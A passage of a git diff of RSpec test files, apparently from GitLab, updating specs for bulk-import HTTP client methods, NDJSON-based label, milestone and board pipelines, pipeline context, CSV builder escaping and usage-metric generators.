@@ -127,4 +129,42 @@ RSpec.describe BulkImports::Clients::Http do
end
end
end
+
+ describe '#head' do
+ let(:method) { :head }
+
+ include_examples 'performs network request' do
+ let(:expected_args) do
+ [
+ 'http://gitlab.example:80/api/v4/resource',
+ hash_including(
+ follow_redirects: false,
+ headers: {
+ 'Content-Type' => 'application/json',
+ 'Authorization' => "Bearer #{token}"
+ }
+ )
+ ]
+ end
+ end
+ end
+
+ describe '#stream' do
+ it 'performs network request with stream_body option' do
+ expected_args = [
+ 'http://gitlab.example:80/api/v4/resource',
+ hash_including(
+ stream_body: true,
+ headers: {
+ 'Content-Type' => 'application/json',
+ 'Authorization' => "Bearer #{token}"
+ }
+ )
+ ]
+
+ expect(Gitlab::HTTP).to receive(:get).with(*expected_args).and_return(response_double)
+
+ subject.stream(resource)
+ end
+ end
end
diff --git a/spec/lib/bulk_imports/common/extractors/ndjson_extractor_spec.rb b/spec/lib/bulk_imports/common/extractors/ndjson_extractor_spec.rb
new file mode 100644
index 00000000000..bd306233de8
--- /dev/null
+++ b/spec/lib/bulk_imports/common/extractors/ndjson_extractor_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Common::Extractors::NdjsonExtractor do
+ let_it_be(:tmpdir) { Dir.mktmpdir }
+ let_it_be(:filepath) { 'spec/fixtures/bulk_imports/gz/labels.ndjson.gz' }
+ let_it_be(:import) { create(:bulk_import) }
+ let_it_be(:config) { create(:bulk_import_configuration, bulk_import: import) }
+ let_it_be(:entity) { create(:bulk_import_entity, bulk_import: import) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ subject { described_class.new(relation: 'labels') }
+
+ before do
+ allow(FileUtils).to receive(:remove_entry).with(any_args).and_call_original
+
+ subject.instance_variable_set(:@tmp_dir, tmpdir)
+ end
+
+ after(:all) do
+ FileUtils.remove_entry(tmpdir) if File.directory?(tmpdir)
+ end
+
+ describe '#extract' do
+ before do
+ FileUtils.copy_file(filepath, File.join(tmpdir, 'labels.ndjson.gz'))
+
+ allow_next_instance_of(BulkImports::FileDownloadService) do |service|
+ allow(service).to receive(:execute)
+ end
+ end
+
+ it 'returns ExtractedData' do
+ extracted_data = subject.extract(context)
+ label = extracted_data.data.first.first
+
+ expect(extracted_data).to be_instance_of(BulkImports::Pipeline::ExtractedData)
+ expect(label['title']).to include('Label')
+ expect(label['description']).to include('Label')
+ expect(label['type']).to eq('GroupLabel')
+ end
+ end
+
+ describe '#remove_tmp_dir' do
+ it 'removes tmp dir' do
+ expect(FileUtils).to receive(:remove_entry).with(tmpdir).once
+
+ subject.remove_tmp_dir
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb b/spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb
index 721dacbe3f4..5ee5cdbe413 100644
--- a/spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb
+++ b/spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe BulkImports::Common::Extractors::RestExtractor do
- let(:http_client) { instance_double(BulkImports::Clients::Http) }
+ let(:http_client) { instance_double(BulkImports::Clients::HTTP) }
let(:options) { { query: double(to_h: { resource: nil, query: nil }) } }
let(:response) { double(parsed_response: { 'data' => { 'foo' => 'bar' } }, headers: { 'x-next-page' => '2' }) }
diff --git a/spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb b/spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb
index ac8786440e9..f7485b188ce 100644
--- a/spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb
+++ b/spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe BulkImports::Groups::Extractors::SubgroupsExtractor do
response = [{ 'test' => 'group' }]
context = BulkImports::Pipeline::Context.new(tracker)
- allow_next_instance_of(BulkImports::Clients::Http) do |client|
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |client|
allow(client).to receive(:each_page).and_return(response)
end
diff --git a/spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb b/spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb
deleted file mode 100644
index 61db644a372..00000000000
--- a/spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BulkImports::Groups::Graphql::GetLabelsQuery do
- it 'has a valid query' do
- tracker = create(:bulk_import_tracker)
- context = BulkImports::Pipeline::Context.new(tracker)
-
- query = GraphQL::Query.new(
- GitlabSchema,
- described_class.to_s,
- variables: described_class.variables(context)
- )
- result = GitlabSchema.static_validator.validate(query)
-
- expect(result[:errors]).to be_empty
- end
-
- describe '#data_path' do
- it 'returns data path' do
- expected = %w[data group labels nodes]
-
- expect(described_class.data_path).to eq(expected)
- end
- end
-
- describe '#page_info_path' do
- it 'returns pagination information path' do
- expected = %w[data group labels page_info]
-
- expect(described_class.page_info_path).to eq(expected)
- end
- end
-end
diff --git a/spec/lib/bulk_imports/groups/pipelines/boards_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/boards_pipeline_spec.rb
new file mode 100644
index 00000000000..8b2f03ca15f
--- /dev/null
+++ b/spec/lib/bulk_imports/groups/pipelines/boards_pipeline_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Groups::Pipelines::BoardsPipeline do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+ let_it_be(:filepath) { 'spec/fixtures/bulk_imports/gz/boards.ndjson.gz' }
+ let_it_be(:entity) do
+ create(
+ :bulk_import_entity,
+ group: group,
+ bulk_import: bulk_import,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Group',
+ destination_namespace: group.full_path
+ )
+ end
+
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ let(:tmpdir) { Dir.mktmpdir }
+
+ before do
+ FileUtils.copy_file(filepath, File.join(tmpdir, 'boards.ndjson.gz'))
+ group.add_owner(user)
+ end
+
+ subject { described_class.new(context) }
+
+ describe '#run' do
+ it 'imports group boards into destination group and removes tmpdir' do
+ allow(Dir).to receive(:mktmpdir).and_return(tmpdir)
+ allow_next_instance_of(BulkImports::FileDownloadService) do |service|
+ allow(service).to receive(:execute)
+ end
+
+ expect { subject.run }.to change(Board, :count).by(1)
+
+ lists = group.boards.find_by(name: 'first board').lists
+
+ expect(lists.count).to eq(3)
+ expect(lists.first.label.title).to eq('TSL')
+ expect(lists.second.label.title).to eq('Sosync')
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb b/spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb
index 8276349c5f4..b97aeb435b9 100644
--- a/spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb
@@ -25,13 +25,33 @@ RSpec.describe BulkImports::Groups::Pipelines::EntityFinisher do
.to change(entity, :status_name).to(:finished)
end
- it 'does nothing when the entity is already finished' do
- entity = create(:bulk_import_entity, :finished)
- pipeline_tracker = create(:bulk_import_tracker, entity: entity)
- context = BulkImports::Pipeline::Context.new(pipeline_tracker)
- subject = described_class.new(context)
+ context 'when entity is in a final finished or failed state' do
+ shared_examples 'performs no state update' do |entity_state|
+ it 'does nothing' do
+ entity = create(:bulk_import_entity, entity_state)
+ pipeline_tracker = create(:bulk_import_tracker, entity: entity)
+ context = BulkImports::Pipeline::Context.new(pipeline_tracker)
+ subject = described_class.new(context)
- expect { subject.run }
- .not_to change(entity, :status_name)
+ expect { subject.run }
+ .not_to change(entity, :status_name)
+ end
+ end
+
+ include_examples 'performs no state update', :finished
+ include_examples 'performs no state update', :failed
+ end
+
+ context 'when all entity trackers failed' do
+ it 'marks entity as failed' do
+ entity = create(:bulk_import_entity, :started)
+ create(:bulk_import_tracker, :failed, entity: entity)
+ pipeline_tracker = create(:bulk_import_tracker, entity: entity, relation: described_class)
+ context = BulkImports::Pipeline::Context.new(pipeline_tracker)
+
+ described_class.new(context).run
+
+ expect(entity.reload.failed?).to eq(true)
+ end
end
end
diff --git a/spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb
index 8af646d1101..6344dae0fb7 100644
--- a/spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb
@@ -5,98 +5,74 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Pipelines::LabelsPipeline do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
- let_it_be(:timestamp) { Time.new(2020, 01, 01).utc }
-
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+ let_it_be(:filepath) { 'spec/fixtures/bulk_imports/gz/labels.ndjson.gz' }
let_it_be(:entity) do
create(
:bulk_import_entity,
+ group: group,
+ bulk_import: bulk_import,
source_full_path: 'source/full/path',
destination_name: 'My Destination Group',
- destination_namespace: group.full_path,
- group: group
+ destination_namespace: group.full_path
)
end
let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+ let(:tmpdir) { Dir.mktmpdir }
+
+ before do
+ FileUtils.copy_file(filepath, File.join(tmpdir, 'labels.ndjson.gz'))
+ group.add_owner(user)
+ end
+
subject { described_class.new(context) }
describe '#run' do
- it 'imports a group labels' do
- first_page = extracted_data(title: 'label1', has_next_page: true)
- last_page = extracted_data(title: 'label2')
-
- allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
- allow(extractor)
- .to receive(:extract)
- .and_return(first_page, last_page)
+ it 'imports group labels into destination group and removes tmpdir' do
+ allow(Dir).to receive(:mktmpdir).and_return(tmpdir)
+ allow_next_instance_of(BulkImports::FileDownloadService) do |service|
+ allow(service).to receive(:execute)
end
- expect { subject.run }.to change(Label, :count).by(2)
+ expect { subject.run }.to change(::GroupLabel, :count).by(1)
- label = group.labels.order(:created_at).last
+ label = group.labels.first
- expect(label.title).to eq('label2')
- expect(label.description).to eq('desc')
- expect(label.color).to eq('#428BCA')
- expect(label.created_at).to eq(timestamp)
- expect(label.updated_at).to eq(timestamp)
+ expect(label.title).to eq('Label 1')
+ expect(label.description).to eq('Label 1')
+ expect(label.color).to eq('#6699cc')
+ expect(File.directory?(tmpdir)).to eq(false)
end
end
describe '#load' do
- it 'creates the label' do
- data = label_data('label')
+ context 'when label is not persisted' do
+ it 'saves the label' do
+ label = build(:group_label, group: group)
- expect { subject.load(context, data) }.to change(Label, :count).by(1)
+ expect(label).to receive(:save!)
- label = group.labels.first
-
- data.each do |key, value|
- expect(label[key]).to eq(value)
+ subject.load(context, label)
end
end
- end
- describe 'pipeline parts' do
- it { expect(described_class).to include_module(BulkImports::Pipeline) }
- it { expect(described_class).to include_module(BulkImports::Pipeline::Runner) }
-
- it 'has extractors' do
- expect(described_class.get_extractor)
- .to eq(
- klass: BulkImports::Common::Extractors::GraphqlExtractor,
- options: {
- query: BulkImports::Groups::Graphql::GetLabelsQuery
- }
- )
- end
+ context 'when label is persisted' do
+ it 'does not save label' do
+ label = create(:group_label, group: group)
- it 'has transformers' do
- expect(described_class.transformers)
- .to contain_exactly(
- { klass: BulkImports::Common::Transformers::ProhibitedAttributesTransformer, options: nil }
- )
- end
- end
-
- def label_data(title)
- {
- 'title' => title,
- 'description' => 'desc',
- 'color' => '#428BCA',
- 'created_at' => timestamp.to_s,
- 'updated_at' => timestamp.to_s
- }
- end
+ expect(label).not_to receive(:save!)
- def extracted_data(title:, has_next_page: false)
- page_info = {
- 'has_next_page' => has_next_page,
- 'next_page' => has_next_page ? 'cursor' : nil
- }
+ subject.load(context, label)
+ end
+ end
- BulkImports::Pipeline::ExtractedData.new(data: [label_data(title)], page_info: page_info)
+ context 'when label is missing' do
+ it 'returns' do
+ expect(subject.load(context, nil)).to be_nil
+ end
+ end
end
end
diff --git a/spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb
index e5cf75c566b..a8354e62459 100644
--- a/spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb
@@ -5,119 +5,69 @@ require 'spec_helper'
RSpec.describe BulkImports::Groups::Pipelines::MilestonesPipeline do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
- let_it_be(:timestamp) { Time.new(2020, 01, 01).utc }
let_it_be(:bulk_import) { create(:bulk_import, user: user) }
-
+ let_it_be(:filepath) { 'spec/fixtures/bulk_imports/gz/milestones.ndjson.gz' }
let_it_be(:entity) do
create(
:bulk_import_entity,
+ group: group,
bulk_import: bulk_import,
source_full_path: 'source/full/path',
destination_name: 'My Destination Group',
- destination_namespace: group.full_path,
- group: group
+ destination_namespace: group.full_path
)
end
let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
- subject { described_class.new(context) }
+ let(:tmpdir) { Dir.mktmpdir }
before do
+ FileUtils.copy_file(filepath, File.join(tmpdir, 'milestones.ndjson.gz'))
group.add_owner(user)
end
- describe '#run' do
- it 'imports group milestones' do
- first_page = extracted_data(title: 'milestone1', iid: 1, has_next_page: true)
- last_page = extracted_data(title: 'milestone2', iid: 2)
+ subject { described_class.new(context) }
- allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
- allow(extractor)
- .to receive(:extract)
- .and_return(first_page, last_page)
+ describe '#run' do
+ it 'imports group milestones into destination group and removes tmpdir' do
+ allow(Dir).to receive(:mktmpdir).and_return(tmpdir)
+ allow_next_instance_of(BulkImports::FileDownloadService) do |service|
+ allow(service).to receive(:execute)
end
- expect { subject.run }.to change(Milestone, :count).by(2)
-
- expect(group.milestones.pluck(:title)).to contain_exactly('milestone1', 'milestone2')
-
- milestone = group.milestones.last
-
- expect(milestone.description).to eq('desc')
- expect(milestone.state).to eq('closed')
- expect(milestone.start_date.to_s).to eq('2020-10-21')
- expect(milestone.due_date.to_s).to eq('2020-10-22')
- expect(milestone.created_at).to eq(timestamp)
- expect(milestone.updated_at).to eq(timestamp)
+ expect { subject.run }.to change(Milestone, :count).by(5)
+ expect(group.milestones.pluck(:title)).to contain_exactly('v4.0', 'v3.0', 'v2.0', 'v1.0', 'v0.0')
+ expect(File.directory?(tmpdir)).to eq(false)
end
end
describe '#load' do
- it 'creates the milestone' do
- data = milestone_data('milestone')
-
- expect { subject.load(context, data) }.to change(Milestone, :count).by(1)
- end
-
- context 'when user is not authorized to create the milestone' do
- before do
- allow(user).to receive(:can?).with(:admin_milestone, group).and_return(false)
- end
+ context 'when milestone is not persisted' do
+ it 'saves the milestone' do
+ milestone = build(:milestone, group: group)
- it 'raises NotAllowedError' do
- data = extracted_data(title: 'milestone')
+ expect(milestone).to receive(:save!)
- expect { subject.load(context, data) }.to raise_error(::BulkImports::Pipeline::NotAllowedError)
+ subject.load(context, milestone)
end
end
- end
- describe 'pipeline parts' do
- it { expect(described_class).to include_module(BulkImports::Pipeline) }
- it { expect(described_class).to include_module(BulkImports::Pipeline::Runner) }
+ context 'when milestone is persisted' do
+ it 'does not save milestone' do
+ milestone = create(:milestone, group: group)
- it 'has extractors' do
- expect(described_class.get_extractor)
- .to eq(
- klass: BulkImports::Common::Extractors::GraphqlExtractor,
- options: {
- query: BulkImports::Groups::Graphql::GetMilestonesQuery
- }
- )
- end
+ expect(milestone).not_to receive(:save!)
- it 'has transformers' do
- expect(described_class.transformers)
- .to contain_exactly(
- { klass: BulkImports::Common::Transformers::ProhibitedAttributesTransformer, options: nil }
- )
+ subject.load(context, milestone)
+ end
end
- end
- def milestone_data(title, iid: 1)
- {
- 'title' => title,
- 'description' => 'desc',
- 'iid' => iid,
- 'state' => 'closed',
- 'start_date' => '2020-10-21',
- 'due_date' => '2020-10-22',
- 'created_at' => timestamp.to_s,
- 'updated_at' => timestamp.to_s
- }
- end
-
- def extracted_data(title:, iid: 1, has_next_page: false)
- page_info = {
- 'has_next_page' => has_next_page,
- 'next_page' => has_next_page ? 'cursor' : nil
- }
-
- BulkImports::Pipeline::ExtractedData.new(
- data: milestone_data(title, iid: iid),
- page_info: page_info
- )
+ context 'when milestone is missing' do
+ it 'returns' do
+ expect(subject.load(context, nil)).to be_nil
+ end
+ end
end
end
diff --git a/spec/lib/bulk_imports/ndjson_pipeline_spec.rb b/spec/lib/bulk_imports/ndjson_pipeline_spec.rb
new file mode 100644
index 00000000000..a5d1a5f7fbb
--- /dev/null
+++ b/spec/lib/bulk_imports/ndjson_pipeline_spec.rb
@@ -0,0 +1,186 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::NdjsonPipeline do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+
+ let(:klass) do
+ Class.new do
+ include BulkImports::NdjsonPipeline
+
+ relation_name 'test'
+
+ attr_reader :portable, :current_user
+
+ def initialize(portable, user)
+ @portable = portable
+ @current_user = user
+ end
+ end
+ end
+
+ before do
+ stub_const('NdjsonPipelineClass', klass)
+ end
+
+ subject { NdjsonPipelineClass.new(group, user) }
+
+ it 'marks pipeline as ndjson' do
+ expect(NdjsonPipelineClass.ndjson_pipeline?).to eq(true)
+ end
+
+ describe '#deep_transform_relation!' do
+ it 'transforms relation hash' do
+ transformed = subject.deep_transform_relation!({}, 'test', {}) do |key, hash|
+ hash.merge(relation_key: key)
+ end
+
+ expect(transformed[:relation_key]).to eq('test')
+ end
+
+ context 'when subrelations is an array' do
+ it 'transforms each element of the array' do
+ relation_hash = {
+ 'key' => 'value',
+ 'labels' => [
+ { 'title' => 'label 1' },
+ { 'title' => 'label 2' },
+ { 'title' => 'label 3' }
+ ]
+ }
+ relation_definition = { 'labels' => {} }
+
+ transformed = subject.deep_transform_relation!(relation_hash, 'test', relation_definition) do |key, hash|
+ hash.merge(relation_key: key)
+ end
+
+ transformed['labels'].each do |label|
+ expect(label[:relation_key]).to eq('group_labels')
+ end
+ end
+ end
+
+ context 'when subrelation is a hash' do
+ it 'transforms subrelation hash' do
+ relation_hash = {
+ 'key' => 'value',
+ 'label' => { 'title' => 'label' }
+ }
+ relation_definition = { 'label' => {} }
+
+ transformed = subject.deep_transform_relation!(relation_hash, 'test', relation_definition) do |key, hash|
+ hash.merge(relation_key: key)
+ end
+
+ expect(transformed['label'][:relation_key]).to eq('group_label')
+ end
+ end
+
+ context 'when subrelation is nil' do
+ it 'removes subrelation' do
+ relation_hash = {
+ 'key' => 'value',
+ 'label' => { 'title' => 'label' }
+ }
+ relation_definition = { 'label' => {} }
+
+ transformed = subject.deep_transform_relation!(relation_hash, 'test', relation_definition) do |key, hash|
+ if key == 'group_label'
+ nil
+ else
+ hash
+ end
+ end
+
+ expect(transformed['label']).to be_nil
+ end
+ end
+ end
+
+ describe '#transform' do
+ it 'calls relation factory' do
+ hash = { key: :value }
+ data = [hash, 1]
+ user = double
+ config = double(relation_excluded_keys: nil, top_relation_tree: [])
+ context = double(portable: group, current_user: user, import_export_config: config)
+ allow(subject).to receive(:import_export_config).and_return(config)
+
+ expect(Gitlab::ImportExport::Group::RelationFactory)
+ .to receive(:create)
+ .with(
+ relation_index: 1,
+ relation_sym: :test,
+ relation_hash: hash,
+ importable: group,
+ members_mapper: instance_of(Gitlab::ImportExport::MembersMapper),
+ object_builder: Gitlab::ImportExport::Group::ObjectBuilder,
+ user: user,
+ excluded_keys: nil
+ )
+
+ subject.transform(context, data)
+ end
+ end
+
+ describe '#load' do
+ context 'when object is not persisted' do
+ it 'saves the object' do
+ object = double(persisted?: false)
+
+ expect(object).to receive(:save!)
+
+ subject.load(nil, object)
+ end
+ end
+
+ context 'when object is persisted' do
+ it 'does not save the object' do
+ object = double(persisted?: true)
+
+ expect(object).not_to receive(:save!)
+
+ subject.load(nil, object)
+ end
+ end
+
+ context 'when object is missing' do
+ it 'returns' do
+ expect(subject.load(nil, nil)).to be_nil
+ end
+ end
+ end
+
+ describe '#relation_class' do
+ context 'when relation name is pluralized' do
+ it 'returns constantized class' do
+ expect(subject.relation_class('MergeRequest::Metrics')).to eq(MergeRequest::Metrics)
+ end
+ end
+
+ context 'when relation name is singularized' do
+ it 'returns constantized class' do
+ expect(subject.relation_class('Badge')).to eq(Badge)
+ end
+ end
+ end
+
+ describe '#relation_key_override' do
+ context 'when portable is group' do
+ it 'returns group relation name override' do
+ expect(subject.relation_key_override('labels')).to eq('group_labels')
+ end
+ end
+
+ context 'when portable is project' do
+ subject { NdjsonPipelineClass.new(project, user) }
+
+ it 'returns group relation name override' do
+ expect(subject.relation_key_override('labels')).to eq('project_labels')
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/pipeline/context_spec.rb b/spec/lib/bulk_imports/pipeline/context_spec.rb
index 5b7711ad5d7..83d6f494d53 100644
--- a/spec/lib/bulk_imports/pipeline/context_spec.rb
+++ b/spec/lib/bulk_imports/pipeline/context_spec.rb
@@ -6,6 +6,9 @@ RSpec.describe BulkImports::Pipeline::Context do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:project_entity) { create(:bulk_import_entity, :project_entity, project: project) }
+ let_it_be(:project_tracker) { create(:bulk_import_tracker, entity: project_entity) }
let_it_be(:entity) do
create(
@@ -51,4 +54,24 @@ RSpec.describe BulkImports::Pipeline::Context do
describe '#extra' do
it { expect(subject.extra).to eq(extra: :data) }
end
+
+ describe '#portable' do
+ it { expect(subject.portable).to eq(group) }
+
+ context 'when portable is project' do
+ subject { described_class.new(project_tracker) }
+
+ it { expect(subject.portable).to eq(project) }
+ end
+ end
+
+ describe '#import_export_config' do
+ it { expect(subject.import_export_config).to be_instance_of(BulkImports::FileTransfer::GroupConfig) }
+
+ context 'when portable is project' do
+ subject { described_class.new(project_tracker) }
+
+ it { expect(subject.import_export_config).to be_instance_of(BulkImports::FileTransfer::ProjectConfig) }
+ end
+ end
end
diff --git a/spec/lib/bulk_imports/pipeline_spec.rb b/spec/lib/bulk_imports/pipeline_spec.rb
index dda2e41f06c..48c265d6118 100644
--- a/spec/lib/bulk_imports/pipeline_spec.rb
+++ b/spec/lib/bulk_imports/pipeline_spec.rb
@@ -63,6 +63,7 @@ RSpec.describe BulkImports::Pipeline do
BulkImports::MyPipeline.transformer(klass, options)
BulkImports::MyPipeline.loader(klass, options)
BulkImports::MyPipeline.abort_on_failure!
+ BulkImports::MyPipeline.ndjson_pipeline!
expect(BulkImports::MyPipeline.get_extractor).to eq({ klass: klass, options: options })
@@ -74,6 +75,7 @@ RSpec.describe BulkImports::Pipeline do
expect(BulkImports::MyPipeline.get_loader).to eq({ klass: klass, options: options })
expect(BulkImports::MyPipeline.abort_on_failure?).to eq(true)
+ expect(BulkImports::MyPipeline.ndjson_pipeline?).to eq(true)
end
end
end
diff --git a/spec/lib/bulk_imports/stage_spec.rb b/spec/lib/bulk_imports/stage_spec.rb
index 713cd3f22ab..d082faa90bc 100644
--- a/spec/lib/bulk_imports/stage_spec.rb
+++ b/spec/lib/bulk_imports/stage_spec.rb
@@ -10,7 +10,8 @@ RSpec.describe BulkImports::Stage do
[1, BulkImports::Groups::Pipelines::MembersPipeline],
[1, BulkImports::Groups::Pipelines::LabelsPipeline],
[1, BulkImports::Groups::Pipelines::MilestonesPipeline],
- [1, BulkImports::Groups::Pipelines::BadgesPipeline]
+ [1, BulkImports::Groups::Pipelines::BadgesPipeline],
+ [2, BulkImports::Groups::Pipelines::BoardsPipeline]
]
end
diff --git a/spec/lib/csv_builder_spec.rb b/spec/lib/csv_builder_spec.rb
index 546be3ba6f7..ec065ee6f7d 100644
--- a/spec/lib/csv_builder_spec.rb
+++ b/spec/lib/csv_builder_spec.rb
@@ -105,5 +105,17 @@ RSpec.describe CsvBuilder do
expect(csv_data).not_to include "'*safe_desc"
expect(csv_data).not_to include "'*safe_title"
end
+
+ context 'when dangerous characters are after a line break' do
+ it 'does not append single quote to description' do
+ fake_object = double(title: "Safe title", description: "With task list\n-[x] todo 1")
+ fake_relation = FakeRelation.new([fake_object])
+ builder = described_class.new(fake_relation, 'Title' => 'title', 'Description' => 'description')
+
+ csv_data = builder.render
+
+ expect(csv_data).to eq("Title,Description\nSafe title,\"With task list\n-[x] todo 1\"\n")
+ end
+ end
end
end
diff --git a/spec/lib/expand_variables_spec.rb b/spec/lib/expand_variables_spec.rb
index 407187ea05f..1108d26b2a9 100644
--- a/spec/lib/expand_variables_spec.rb
+++ b/spec/lib/expand_variables_spec.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
-require 'spec_helper'
+require 'fast_spec_helper'
+require 'rspec-parameterized'
RSpec.describe ExpandVariables do
shared_examples 'common variable expansion' do |expander|
@@ -231,41 +232,4 @@ RSpec.describe ExpandVariables do
end
end
end
-
- describe '#possible_var_reference?' do
- context 'table tests' do
- using RSpec::Parameterized::TableSyntax
-
- where do
- {
- "empty value": {
- value: '',
- result: false
- },
- "normal value": {
- value: 'some value',
- result: false
- },
- "simple expansions": {
- value: 'key$variable',
- result: true
- },
- "complex expansions": {
- value: 'key${variable}${variable2}',
- result: true
- },
- "complex expansions for Windows": {
- value: 'key%variable%%variable2%',
- result: true
- }
- }
- end
-
- with_them do
- subject { ExpandVariables.possible_var_reference?(value) }
-
- it { is_expected.to eq(result) }
- end
- end
- end
end
diff --git a/spec/lib/generators/gitlab/snowplow_event_definition_generator_spec.rb b/spec/lib/generators/gitlab/snowplow_event_definition_generator_spec.rb
index 25c4001a192..4e172dd32f0 100644
--- a/spec/lib/generators/gitlab/snowplow_event_definition_generator_spec.rb
+++ b/spec/lib/generators/gitlab/snowplow_event_definition_generator_spec.rb
@@ -1,8 +1,8 @@
# frozen_string_literal: true
-require 'generator_helper'
+require 'spec_helper'
-RSpec.describe Gitlab::SnowplowEventDefinitionGenerator do
+RSpec.describe Gitlab::SnowplowEventDefinitionGenerator, :silence_stdout do
let(:ce_temp_dir) { Dir.mktmpdir }
let(:ee_temp_dir) { Dir.mktmpdir }
let(:generator_options) { { 'category' => 'Groups::EmailCampaignsController', 'action' => 'click' } }
diff --git a/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb b/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb
index 95a577e6334..e497551bc3f 100644
--- a/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb
+++ b/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb
@@ -1,8 +1,8 @@
# frozen_string_literal: true
-require 'generator_helper'
+require 'spec_helper'
-RSpec.describe Gitlab::UsageMetricDefinition::RedisHllGenerator do
+RSpec.describe Gitlab::UsageMetricDefinition::RedisHllGenerator, :silence_stdout do
include UsageDataHelpers
let(:category) { 'test_category' }
diff --git a/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb b/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
index 74aaf34e82c..05833cf4ec4 100644
--- a/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
+++ b/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
@@ -1,8 +1,8 @@
# frozen_string_literal: true
-require 'generator_helper'
+require 'spec_helper'
-RSpec.describe Gitlab::UsageMetricDefinitionGenerator do
+RSpec.describe Gitlab::UsageMetricDefinitionGenerator, :silence_stdout do
include UsageDataHelpers
let(:key_path) { 'counts_weekly.test_metric' }
diff --git a/spec/lib/generators/gitlab/usage_metric_generator_spec.rb b/spec/lib/generators/gitlab/usage_metric_generator_spec.rb
new file mode 100644
index 00000000000..f38815acca6
--- /dev/null
+++ b/spec/lib/generators/gitlab/usage_metric_generator_spec.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageMetricGenerator, :silence_stdout do
+ let(:ce_temp_dir) { Dir.mktmpdir }
+ let(:ee_temp_dir) { Dir.mktmpdir }
+ let(:spec_ce_temp_dir) { Dir.mktmpdir }
+ let(:spec_ee_temp_dir) { Dir.mktmpdir }
+ let(:args) { ['CountFoo'] }
+ let(:options) { { 'type' => 'redis_hll' } }
+
+ before do
+ stub_const("#{described_class}::CE_DIR", ce_temp_dir)
+ stub_const("#{described_class}::EE_DIR", ee_temp_dir)
+ stub_const("#{described_class}::SPEC_CE_DIR", spec_ce_temp_dir)
+ stub_const("#{described_class}::SPEC_EE_DIR", spec_ee_temp_dir)
+ end
+
+ after do
+ FileUtils.rm_rf([ce_temp_dir, ee_temp_dir, spec_ce_temp_dir, spec_ee_temp_dir])
+ end
+
+ def expect_generated_file(directory, file_name, content)
+ file_path = File.join(directory, file_name)
+ file = File.read(file_path)
+
+ expect(file).to eq(content)
+ end
+
+ describe 'Creating metric instrumentation files' do
+ let(:sample_metric_dir) { 'lib/generators/gitlab/usage_metric_generator' }
+ let(:sample_metric) { fixture_file(File.join(sample_metric_dir, 'sample_metric.rb')) }
